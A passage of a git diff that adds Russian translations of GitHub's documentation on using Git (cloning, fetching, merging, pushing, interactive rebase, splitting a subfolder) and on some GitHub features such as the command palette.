тегов безопасно использовать следующие символы: + +* Буквы английского алфавита (от `a` до `z` и от `A` до `Z`). +* Цифры (от `0` до `9`). +* Некоторые знаки препинания: + * точка (`.`); + * дефис (`-`); + * символ подчеркивания (`_`); + * косая черта (`/`). + +Во избежание путаницы имена ветвей должны начинаться с буквы. diff --git a/translations/ru-RU/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/ru-RU/content/get-started/using-git/getting-changes-from-a-remote-repository.md new file mode 100644 index 000000000000..9971125d2f6c --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/getting-changes-from-a-remote-repository.md @@ -0,0 +1,87 @@ +--- +title: Получение изменений из удаленного репозитория +intro: Для доступа к удаленным репозиториям можно использовать распространенные команды Git. +redirect_from: + - /articles/fetching-a-remote + - /articles/getting-changes-from-a-remote-repository + - /github/using-git/getting-changes-from-a-remote-repository + - /github/getting-started-with-github/getting-changes-from-a-remote-repository + - /github/getting-started-with-github/using-git/getting-changes-from-a-remote-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Get changes from a remote +ms.openlocfilehash: a2206fa40d70f17d225bd0cf00d8ecced9fd1c09 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009860' +--- +## Параметры для получения изменений + +Эти команды особенно полезны при взаимодействии с [удаленным репозиторием](/github/getting-started-with-github/about-remote-repositories). Команды `clone` и `fetch` позволяют скачать удаленный код с удаленного URL-адреса репозитория на локальный компьютер, `merge` используется для слияния работы, проделанной вами и другими пользователями, а `pull` представляет собой комбинацию команд `fetch` и `merge`. + +## Клонирование репозитория + +Чтобы получить полную копию репозитория другого пользователя, используйте команду `git clone` в следующем виде: + +```shell +$ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git +# Clones a repository to your computer +``` + +При клонировании репозитория можно выбрать один из [нескольких различных URL-адресов](/github/getting-started-with-github/about-remote-repositories). После входа в {% data variables.product.prodname_dotcom %} эти URL-адеса будут указаны под сведениями о репозитории: + +![Список удаленных URL-адресов](/assets/images/help/repository/remotes-url.png) + +При выполнении команды `git clone` происходит следующее: +- Создается новая папка с именем `repo`. +- Она инициализируется как репозиторий Git. +- Создается удаленный узел с именем `origin`, ведущий на URL-адрес, из которого вы клонировали репозиторий. +- С этого адреса скачиваются все файлы и фиксации репозитория. +- Извлекается ветвь по умолчанию. + +Для каждой ветви `foo` в удаленном репозитории создается соответствующая ветвь удаленного отслеживания `refs/remotes/origin/foo` в локальном репозитории. Обычно имена ветвей удаленного отслеживания можно сокращать до `origin/foo`. + +## Получение изменений из удаленного репозитория + +Используйте команду `git fetch` для получения новых работ, выполненных другими людьми. Команда получения данных из репозитория захватывает все новые ветви и теги удаленного отслеживания, *не* сливая эти изменения с вашими собственными ветвями. + +Если у вас уже есть локальный репозиторий с удаленным URL-адресом, настроенный для желаемого проекта, вы можете получать все новые сведения, выполняя в терминале команду `git fetch *remotename*`: + +```shell +$ git fetch REMOTE-NAME +# Fetches updates made to a remote repository +``` + +Если нет, вы всегда можете добавить новый удаленный репозиторий, а затем получить из него данные. Дополнительные сведения см. в разделе [Управление удаленными репозиториями](/github/getting-started-with-github/managing-remote-repositories). + +## Слияние изменений с локальной ветвью + +Слияние объединяет локальные изменения с изменениями, внесенными другими людьми. + +Обычно сливаются ветвь удаленного отслеживания (т. е. ветвь, полученная из удаленного репозитория) и локальная ветвь: + +```shell +$ git merge REMOTE-NAME/BRANCH-NAME +# Merges updates made online with your local work +``` + +## Вытягивание изменений из удаленного репозитория + +`git pull` — это удобное сочетание клавиш для выполнения `git fetch` и `git merge ` в одной команде: + +```shell +$ git pull REMOTE-NAME BRANCH-NAME +# Grabs online updates and merges them with your local work +``` + +Поскольку `pull` приводит к слиянию полученных изменений, перед выполнением команды `pull` нужно зафиксировать локальную работу Если возникнет [конфликт слияния](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line), который вы не сможете разрешить, или вы решите выйти из слияния, используйте команду `git merge --abort`, чтобы вернуть ветвь туда, где она находилась до вытягивания. + +## Дополнительные материалы + +- ["Работа с удаленными репозиториями" из книги _Pro Git_](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes){% ifversion fpt or ghec %} +- [Устранение проблем с подключением](/articles/troubleshooting-connectivity-problems){% endif %} diff --git a/translations/ru-RU/content/get-started/using-git/index.md b/translations/ru-RU/content/get-started/using-git/index.md new file mode 100644 index 000000000000..38fe1c24d84c --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/index.md @@ -0,0 +1,36 @@ +--- +title: С помощью Git +intro: 'Используйте Git для управления репозиториями {% data variables.product.product_name %} со своего компьютера.' +redirect_from: + - /articles/using-common-git-commands + - /github/using-git/using-common-git-commands + - /github/using-git/using-advanced-git-commands + - /categories/52/articles + - /categories/advanced-git + - /articles/using-advanced-git-commands + - /github/using-git/changing-author-info + - /github/getting-started-with-github/using-git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-git + - /pushing-commits-to-a-remote-repository + - /getting-changes-from-a-remote-repository + - /dealing-with-non-fast-forward-errors + - /splitting-a-subfolder-out-into-a-new-repository + - /about-git-subtree-merges + - /about-git-rebase + - /using-git-rebase-on-the-command-line + - /resolving-merge-conflicts-after-a-git-rebase + - /dealing-with-special-characters-in-branch-and-tag-names +ms.openlocfilehash: 806e5bb24731d651ed3fe416dc8f250aa2472710 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145115976' +--- + diff --git a/translations/ru-RU/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/translations/ru-RU/content/get-started/using-git/pushing-commits-to-a-remote-repository.md new file mode 100644 index 000000000000..30f5923107c1 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/pushing-commits-to-a-remote-repository.md @@ -0,0 +1,113 @@ +--- +title: Отправка фиксаций в удаленный репозиторий +intro: Используйте `git push` для отправки фиксаций в локальной ветви в удаленный репозиторий. +redirect_from: + - /articles/pushing-to-a-remote + - /articles/pushing-commits-to-a-remote-repository + - /github/using-git/pushing-commits-to-a-remote-repository + - /github/getting-started-with-github/pushing-commits-to-a-remote-repository + - /github/getting-started-with-github/using-git/pushing-commits-to-a-remote-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Push commits to a remote +ms.openlocfilehash: eddfa45f64e7caacfce0c59fe14002cbb4b5e318 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009214' +--- +## О `git push` +Команда `git push` принимает два аргумента: + +* имя удаленного репозитория, например, `origin`; +* Имя ветви, например `main` + +Пример: + +```shell +git push REMOTE-NAME BRANCH-NAME +``` + +Например, вы обычно выполняете команду `git push origin main` для отправки локальных изменений в веб-репозиторий. + +## Переименование ветвей + +Чтобы переименовать ветвь, используйте ту же команду `git push`, добавив к ней еще один аргумент: имя новой ветви. Пример: + +```shell +git push REMOTE-NAME LOCAL-BRANCH-NAME:REMOTE-BRANCH-NAME +``` + +`LOCAL-BRANCH-NAME` отправляется в `REMOTE-NAME`, но при этом переименовывается в `REMOTE-BRANCH-NAME`. + +## Обработка ошибок не быстрого перемещения вперед + +Если локальная копия репозитория не синхронизирована с вышестоящим репозиторием, в который выполняется отправка, вы получите следующее сообщение: `non-fast-forward updates were rejected`. +В таком случае перед отправкой локальных изменений необходимо извлечь или "получить" изменения из вышестоящего репозитория. + +Дополнительные сведения об этой ошибке см. в разделе [Обработка ошибок не быстрого перемещения вперед](/github/getting-started-with-github/dealing-with-non-fast-forward-errors). + +## Отправка тегов + +По умолчанию команда `git push` без дополнительных параметров отправляет все ветви, имена которых соответствуют именам удаленных ветвей. + +Чтобы отправить отдельный тег, можно использовать ту же команду, что и для отправки ветви: + +```shell +git push REMOTE-NAME TAG-NAME +``` + +Чтобы отправить все теги, можно ввести следующую команду: + +```shell +git push REMOTE-NAME --tags +``` + +## Удаление удаленных ветви или тега + +На первый взгляд синтаксис удаления ветви может показаться непонятным: + +```shell +git push REMOTE-NAME:BRANCH-NAME +``` + +Обратите внимание на пробел, стоящий перед двоеточием. Эта команда напоминает ту, которая используется для переименования ветви. Тем не менее, она указывает Git _выполнить пустую отправку_ в ветвь `BRANCH-NAME` в репозитории `REMOTE-NAME`. Таким образом, команда `git push` удаляет ветвь в удаленном репозитории. + +## Удаленные репозитории и вилки + +Безусловно, вы уже знаете, что на GitHub [можно создавать "вилки" репозиториев](https://guides.github.com/overviews/forking/). + +При клонировании собственного репозитория вы предоставляете ему удаленный URL-адрес, который Git использует для получения и отправки обновлений. Для совместной работы с исходным репозиторием следует добавить в локальный клон Git новый удаленный URL-адрес (обычно называется `upstream`): + +```shell +git remote add upstream THEIR_REMOTE_URL +``` + +Теперь вы можете получать обновления и ветви из *их* вилки: + +```shell +git fetch upstream +# Grab the upstream remote's branches +> remote: Counting objects: 75, done. +> remote: Compressing objects: 100% (53/53), done. +> remote: Total 62 (delta 27), reused 44 (delta 9) +> Unpacking objects: 100% (62/62), done. +> From https://{% data variables.command_line.codeblock %}/OCTOCAT/REPO +> * [new branch] main -> upstream/main +``` + +После внесения локальных изменений вы можете отправить локальную ветвь в GitHub и [инициировать запрос на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). + +Дополнительные сведения о работе с вилками см. в разделе [Синхронизация вилки](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork). + +## Дополнительные материалы + +- [Глава "Удаленные репозитории" из книги "Pro Git"](https://git-scm.com/book/ch5-2.html) +- [Главная страница `git remote`](https://git-scm.com/docs/git-remote.html) +- [Памятка по Git](/articles/git-cheatsheet) +- [Рабочие процессы Git](/github/getting-started-with-github/git-workflows) +- [Справочник по Git](https://guides.github.com/introduction/git-handbook/) diff --git a/translations/ru-RU/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md b/translations/ru-RU/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md new file mode 100644 index 000000000000..db673d6471bb --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md @@ -0,0 +1,39 @@ +--- +title: Разрешение конфликтов слияния после перемещения Git +intro: 'При выполнении операции `git rebase`, как правило, происходит перемещение фиксаций. Из-за этого может возникать ситуации появления конфликтов объединения. Это означает, что две ваши фиксации изменили одну и ту же строку в одном и том же файле, и Git не знает, какое из этих изменений следует применить.' +redirect_from: + - /articles/resolving-merge-conflicts-after-a-git-rebase + - /github/using-git/resolving-merge-conflicts-after-a-git-rebase + - /github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase + - /github/getting-started-with-github/using-git/resolving-merge-conflicts-after-a-git-rebase +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Resolve conflicts after rebase +ms.openlocfilehash: 8798282fb804f7b2389d98f69ba2b0e855a2289a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145115971' +--- +После переупорядочения фиксаций и управления ими с помощью `git rebase`, если возникнет конфликт слияния, Git отправит вам следующее сообщение, напечатанное в терминале: + +```shell +error: could not apply fa39187... something to add to patch A + +When you have resolved this problem, run "git rebase --continue". +If you prefer to skip this patch, run "git rebase --skip" instead. +To check out the original branch and stop rebasing, run "git rebase --abort". +Could not apply fa39187f3c3dfd2ab5faa38ac01cf3de7ce2e841... Change fake file +``` + +Здесь Git сообщает, какая фиксация вызывает конфликт (`fa39187`). Предоставляются три варианта выбора: + +* Вы можете полностью отменить перемещение, выполнив `git rebase --abort`. Git вернет вас в состояние ветви, каким оно было до вызова `git rebase`. +* Вы можете выполнить `git rebase --skip`, чтобы полностью пропустить фиксацию. Это означает, что никакие изменения, внесенные проблемной фиксацией, не будут включены. Выбор этого варианта — большая редкость. +* Конфликт можно исправить. + +Чтобы устранить конфликт, можно выполнить [стандартные процедуры для разрешения конфликтов слияния из командной строки](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). По завершении необходимо вызвать `git rebase --continue`, чтобы Git продолжил оставшуюся часть перемещения. diff --git a/translations/ru-RU/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/ru-RU/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md new file mode 100644 index 000000000000..672cc126985d --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md @@ -0,0 +1,90 @@ +--- +title: Splitting a subfolder out into a new repository +redirect_from: + - /articles/splitting-a-subpath-out-into-a-new-repository + - /articles/splitting-a-subfolder-out-into-a-new-repository + - /github/using-git/splitting-a-subfolder-out-into-a-new-repository + - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository + - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository +intro: You can turn a folder within a Git repository into a brand new repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Splitting a subfolder +--- +If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository. + +{% data reusables.command_line.open_the_multi_os_terminal %} + +2. Change the current working directory to the location where you want to create your new repository. + +4. Clone the repository that contains the subfolder. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME + ``` + +4. Change the current working directory to your cloned repository. + ```shell + $ cd REPOSITORY-NAME + ``` + +5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information: + - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository. + + {% windows %} + + {% tip %} + + **Tip:** Windows users should use `/` to delimit folders. + + {% endtip %} + + {% endwindows %} + + ```shell + $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/ + # Filter the specified branch in your directory and remove empty commits + > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89) + > Ref 'refs/heads/BRANCH-NAME' was rewritten + ``` + + The repository should now only contain the files that were in your subfolder(s). + +6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}. + +7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) + + {% tip %} + + **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." + + {% endtip %} + +8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push) + ``` + +9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7. + ```shell + git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git + ``` + +10. Verify that the remote URL has changed with your new repository name. + ```shell + $ git remote -v + # Verify new remote URL + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push) + ``` + +11. Push your changes to the new repository on {% data variables.product.product_name %}. + ```shell + git push -u origin BRANCH-NAME + ``` diff --git a/translations/ru-RU/content/get-started/using-git/using-git-rebase-on-the-command-line.md b/translations/ru-RU/content/get-started/using-git/using-git-rebase-on-the-command-line.md new file mode 100644 index 000000000000..43eee196adf7 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-git/using-git-rebase-on-the-command-line.md @@ -0,0 +1,154 @@ +--- +title: Перемещений изменений из одной ветви в другую в GIT в командной строке +redirect_from: + - /articles/using-git-rebase + - /articles/using-git-rebase-on-the-command-line + - /github/using-git/using-git-rebase-on-the-command-line + - /github/getting-started-with-github/using-git-rebase-on-the-command-line + - /github/getting-started-with-github/using-git/using-git-rebase-on-the-command-line +intro: Вот краткое руководство по использованию `git rebase` в командной строке. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Git rebase +ms.openlocfilehash: e0d2d2d10da187d6cc38a72a44e8235ec1f6f73f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145134654' +--- +## Перемещение изменений из одной ветви в другую в GIT + +В этом примере будут рассмотрены все доступные команды `git rebase`, кроме `exec`. + +Мы начнем перемещение изменений из одной ветви в другую с ввода `git rebase --interactive HEAD~7` в терминале. В выбранном текстовом редакторе отобразятся следующие строки: + +``` +pick 1fc6c95 Patch A +pick 6b2481b Patch B +pick dd1475d something I want to split +pick c619268 A fix for Patch B +pick fa39187 something to add to patch A +pick 4ca2acc i cant' typ goods +pick 7b36971 something to move before patch B +``` + +В этом примере будут выполнены следующие действия: + +* сжатие пятой фиксации (`fa39187`) с фиксацией `"Patch A"` (`1fc6c95`) с помощью команды `squash`; +* перемещение последней фиксации (`7b36971`) вверх в положение перед фиксацией `"Patch B"` (`6b2481b`) и сохранение ее как `pick`; +* слияние фиксации `"A fix for Patch B"` (`c619268`) с фиксацией `"Patch B"` (`6b2481b`) и игнорирование сообщения о фиксации с помощью команды `fixup`; +* разделение третьей фиксации (`dd1475d`) на две фиксации меньшего размера с помощью команды `edit`; +* исправление сообщения о фиксации с орфографической ошибкой (`4ca2acc`) с помощью команды `reword`. + +Наконец-то. Похоже, предстоит потрудиться, но, действуя последовательно, мы сможем легко внести все эти изменения. + +Для начала нам потребуется изменить команды в файле, чтобы они выглядели следующим образом: + +``` +pick 1fc6c95 Patch A +squash fa39187 something to add to patch A +pick 7b36971 something to move before patch B +pick 6b2481b Patch B +fixup c619268 A fix for Patch B +edit dd1475d something I want to split +reword 4ca2acc i cant' typ goods +``` + +Мы изменили команду `pick` в каждой строке на интересующую нас команду. + +Теперь сохраните и закройте редактор Будет запущено интерактивной перемещение изменения из одной ветви в другую. + +GIT пропускает первую команду перемещения изменений, `pick 1fc6c95`, так как она не нужна, и переходит к следующей команде: `squash fa39187`. Так как для этой операции требуются входные данные, GIT снова открывает текстовый редактор. Открываемый файл выглядит примерно так: + +``` +# This is a combination of two commits. +# The first commit's message is: + +Patch A + +# This is the 2nd commit message: + +something to add to patch A + +# Please enter the commit message for your changes. Lines starting +# with '#' will be ignored, and an empty message aborts the commit. +# Not currently on any branch. +# Changes to be committed: +# (use "git reset HEAD <file>..." to unstage) +# +# modified: a +# +``` + +Посредством этого файла GIT сообщает, что произойдет в результате данной операции `squash`. В нем указывается первое сообщение о фиксации (`"Patch A"`) и второе сообщение (`"something to add to patch A"`). Если эти сообщения о фиксациях вас устраивают, вы можете сохранить файл и закрыть редактор. В противном случае можно изменить сообщение фиксации, просто изменив текст. + +После закрытия редактора перемещение изменений из одной ветви в другую продолжается: + +``` +pick 1fc6c95 Patch A +squash fa39187 something to add to patch A +pick 7b36971 something to move before patch B +pick 6b2481b Patch B +fixup c619268 A fix for Patch B +edit dd1475d something I want to split +reword 4ca2acc i cant' typ goods +``` + +GIT обрабатывает две команды `pick` (для `pick 7b36971` и `pick 6b2481b`). *Также* обрабатывается команда `fixup` (`fixup c619268`), так как она не требует взаимодействия. Команда `fixup` объединяет изменения из `c619268` с предыдущей фиксацией (`6b2481b`). Оба изменения будут иметь одно и то же сообщение о фиксации: `"Patch B"`. + +GIT достигает операции `edit dd1475d`, останавливается и выводит следующее сообщение в терминале: + +```shell +You can amend the commit now, with + + git commit --amend + +Once you are satisfied with your changes, run + + git rebase --continue +``` + +На этом этапе можно внести дополнительные изменения в любой из файлов проекта. Для каждого вносимого изменения необходимо выполнить новую фиксацию, и это можно сделать с помощью команды `git commit --amend`. Завершив внесение всех изменений, можно выполнить `git rebase --continue`. + +После этого GIT переходит к команде `reword 4ca2acc`. Снова открывается текстовый редактор, и выводятся следующие сведения: + +``` +i cant' typ goods + +# Please enter the commit message for your changes. Lines starting +# with '#' will be ignored, and an empty message aborts the commit. +# Not currently on any branch. +# Changes to be committed: +# (use "git reset HEAD^1 <file>..." to unstage) +# +# modified: a +# +``` + +Как и ранее, GIT отображает сообщение о фиксации для редактирования. Вы можете изменить текст (`"i cant' typ goods"`), сохранить файл и закрыть редактор. GIT завершит перемещение изменений из одной ветви в другую, и вы вернетесь в терминал. + +## Отправка перемещенного между ветвями кода на GitHub + +Так как вы изменили журнал GIT, стандартная команда `git push origin` работать **не будет**. Вам потребуется изменить команду путем принудительной отправки последних изменений: + +```shell +# Don't override changes +$ git push origin main --force-with-lease + +# Override changes +$ git push origin main --force +``` + +{% warning %} + +Принудительная отправка имеет серьезные последствия, так как она приводит к изменению исторической последовательности фиксаций для ветви. Используйте ее с осторожностью, особенно если к репозиторию имеет доступ множество пользователей. + +{% endwarning %} + +## Дополнительные материалы + +* [Разрешение конфликтов слияния после перемещения изменений из одной ветви в другую в GIT](/github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase) diff --git a/translations/ru-RU/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md b/translations/ru-RU/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md new file mode 100644 index 000000000000..6ed2d43f08bb --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md @@ -0,0 +1,37 @@ +--- +title: Изучение выпусков раннего доступа с предварительной версии компонентов +intro: 'Вы можете использовать предварительную версию функций для просмотра продуктов или функций, доступных в бета-версии, а также для включения или отключения каждой функции для вашей личной учетной записи.' +redirect_from: + - /articles/exploring-early-access-releases-with-feature-preview + - /github/getting-started-with-github/exploring-early-access-releases-with-feature-preview + - /github/getting-started-with-github/using-github/exploring-early-access-releases-with-feature-preview +versions: + fpt: '*' + ghec: '*' +topics: + - Early access +shortTitle: Feature preview +ms.openlocfilehash: ce4aabcb23d573fac99344ae5db1fdebd1b40286 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145134651' +--- +## Цикл выпуска {% data variables.product.prodname_dotcom %} + +Продукты и компоненты {% data variables.product.prodname_dotcom %} могут проходить несколько этапов выпуска. + +| Этап | Описание | +|-------|-------------| +| Коэффициент альфа | Продукт или функция активно разрабатываются, их требования и область действия часто меняются. Эта функция доступна для демонстрации и тестирования, но не может быть задокументирована. Альфа-выпуски могут не включать все версии, соглашения об уровне обслуживания (SLA) не предоставляются, никаких обязательств по технической поддержке не существует. <br><br> **Примечание.** Продукт или компонент, выпущенный как "ознакомительная версия", считается альфа-выпуском. Ознакомительная версия обладает характеристиками альфа-выпусков, описанными выше.| +| Бета-версия | Продукт или компонент готовы к более широкому распространению. Бета-версии могут быть общедоступными или частными, задокументированными, но без соглашений об уровне обслуживания или технической поддержки. | +| Общедоступная версия | Продукт или функция полностью протестированы и открыты для всех пользователей. Выпуски общедоступной версии готовы к использованию в рабочей среде, для них существуют соглашение об уровне обслуживания и обязательства по технической поддержке. | + +## Изучение бета-версий с предварительной версией компонентов + +Вы можете просмотреть список компонентов, доступных в бета-версии, и краткое описание каждого компонента. Каждый компонент содержит ссылку для отправки отзывов. + +{% data reusables.feature-preview.feature-preview-setting %} +2. При необходимости справа от компонента щелкните **Включить** или **Отключить**. + ![Кнопка "Включить" в предварительной версии компонента](/assets/images/help/settings/enable-feature-button.png) diff --git a/translations/ru-RU/content/get-started/using-github/github-cli.md b/translations/ru-RU/content/get-started/using-github/github-cli.md new file mode 100644 index 000000000000..200dc913d7a9 --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/github-cli.md @@ -0,0 +1,22 @@ +--- +title: GitHub CLI +intro: '{% data reusables.cli.cli-intro %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +ms.openlocfilehash: b13d10e80942ace57d52cb57b315474cf9cbd442 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882210' +--- +{% data reusables.cli.about-cli %} + +{% data reusables.cli.cli-features %} + +Дополнительные сведения см. в разделе [{% data variables.product.prodname_cli %}](/github-cli). diff --git a/translations/ru-RU/content/get-started/using-github/github-command-palette.md b/translations/ru-RU/content/get-started/using-github/github-command-palette.md new file mode 100644 index 000000000000..56e331b005cf --- /dev/null +++ b/translations/ru-RU/content/get-started/using-github/github-command-palette.md @@ -0,0 +1,234 @@ +--- +title: Палитра команд GitHub +intro: 'Используйте палитру команд в {% data variables.product.product_name %} для навигации, поиска и выполнения команд непосредственно с клавиатуры.' +versions: + feature: command-palette +shortTitle: GitHub Command Palette +ms.openlocfilehash: 5c6b739f2422be780cef6fa0e44e5d75663cc036 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159056' +--- +{% data reusables.command-palette.beta-note %} + +## Сведения о {% data variables.product.prodname_command_palette %} + +Вы можете искать команды, переходить по ним и выполнять их в {% data variables.product.product_name %} с помощью {% data variables.product.prodname_command_palette %}. Палитра команд — это средство отображения предложений по запросу в зависимости от текущего контекста и ресурсов, которые вы недавно использовали. Палитру команд можно открыть с помощью сочетания клавиш из любого места в {% data variables.product.product_name %}, что экономит время и избавляет от необходимости пользоваться мышью. + +### Быстрая навигация + +Предложения палитры команд упрощают доступ к страницам верхнего уровня, например странице "Проблемы", из любого места в репозитории, личной учетной записи или организации. Если нужное расположение не указано, начните вводить название или номер расположения, чтобы уточнить предложения. + +![Предложения для репозитория на палитре команд](/assets/images/help/command-palette/command-palette-navigation-repo-default.png) + +### Простой доступ к командам + +Возможность выполнять команды непосредственно с клавиатуры без перехода по нескольким меню может изменить подход к работе с {% data variables.product.prodname_dotcom %}. Например, вы можете переключаться между темами несколькими нажатиями клавиш, что упрощает их смену по мере изменения потребностей. + +![Изменение темы на палитре команд](/assets/images/help/command-palette/command-palette-command-change-theme.png) + +## Открытие {% data variables.product.prodname_command_palette %} + +Открыть палитру команд можно с помощью одного из следующих сочетаний клавиш по умолчанию: +- Windows и Linux: <kbd>CTRL</kbd>+<kbd>K</kbd> или <kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>K</kbd> +- Mac: <kbd>COMMAND</kbd>+<kbd>K</kbd> или <kbd>COMMAND</kbd>+<kbd>OPTION</kbd>+<kbd>K</kbd> + +Вы можете настроить сочетания клавиш, используемые для открытия палитры команд, в [разделе "Специальные возможности"](https://github.com/settings/accessibility) параметров пользователя. Дополнительные сведения см. в разделе [Настройка сочетаний клавиш для {% data variables.product.prodname_command_palette %}](#customizing-your-github-command-palette-keyboard-shortcuts). + +При открытии палитры команд расположение (например, организация `mashed-avocado`) отображается в левом верхнем углу и используется в качестве контекста для предложений. + +![Запуск палитры команд](/assets/images/help/command-palette/command-palette-launch.png) + +{% note %} + +**Примечания.** +- При редактировании текста Markdown для открытия палитры команд используйте сочетание клавиш <kbd>CTRL</kbd>+<kbd>ALT</kbd>+<kbd>K</kbd> (Windows и Linux) или <kbd>COMMAND</kbd>+<kbd>OPTION</kbd>+<kbd>K</kbd> (Mac).{% ifversion projects-v2 %} +- Если у вас в работе {% data variables.projects.project_v2 %}, отобразится другая палитра команд, относящаяся к проекту. Дополнительные сведения: [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view).{% endif %} + +{% endnote %} + +### Настройка сочетаний клавиш для {% data variables.product.prodname_command_palette %} + + +Сочетания клавиш, используемые по умолчанию для открытия палитры команд, могут конфликтовать с сочетаниями клавиш по умолчанию в операционной системе или браузере. Настроить сочетания клавиш можно в [разделе "Специальные возможности"](https://github.com/settings/accessibility) параметров учетной записи. В параметрах палитры команд можно настроить сочетания клавиш для открытия палитры команд как в режиме поиска, так и в режиме команд. + +![Настройка сочетаний клавиш для палитры команд](/assets/images/help/command-palette/command-palette-keyboard-shortcut-settings.png) +## Навигация с помощью {% data variables.product.prodname_command_palette %} + +Палитру команд можно использовать для перехода на любую страницу, к которой у вас есть доступ на {% data variables.product.product_name %}. + +{% data reusables.command-palette.open-palette %} + +2. Начните вводить путь, по которому нужно перейти. Предложения в палитре команд изменяются в соответствии с введенным текстом. + + ![Текущая область навигации в палитре команд](/assets/images/help/command-palette/command-palette-navigation-current-scope.png) + +{% data reusables.command-palette.change-scope %} + + Вы также можете использовать нажатия клавиш, чтобы сузить поиск. Дополнительные сведения см. в разделе [Функции нажатия клавиш](#keystroke-functions). + +4. Завершите ввод пути или используйте клавиши со стрелками, чтобы выделить нужный путь в списке предложений. + +5. Нажмите клавишу <kbd>ВВОД</kbd>, чтобы перейти к выбранному расположению. Кроме того, можно открыть расположение на новой вкладке браузера, нажав клавиши <kbd>CTRL</kbd>+<kbd>ВВОД</kbd> (Windows и Linux) или 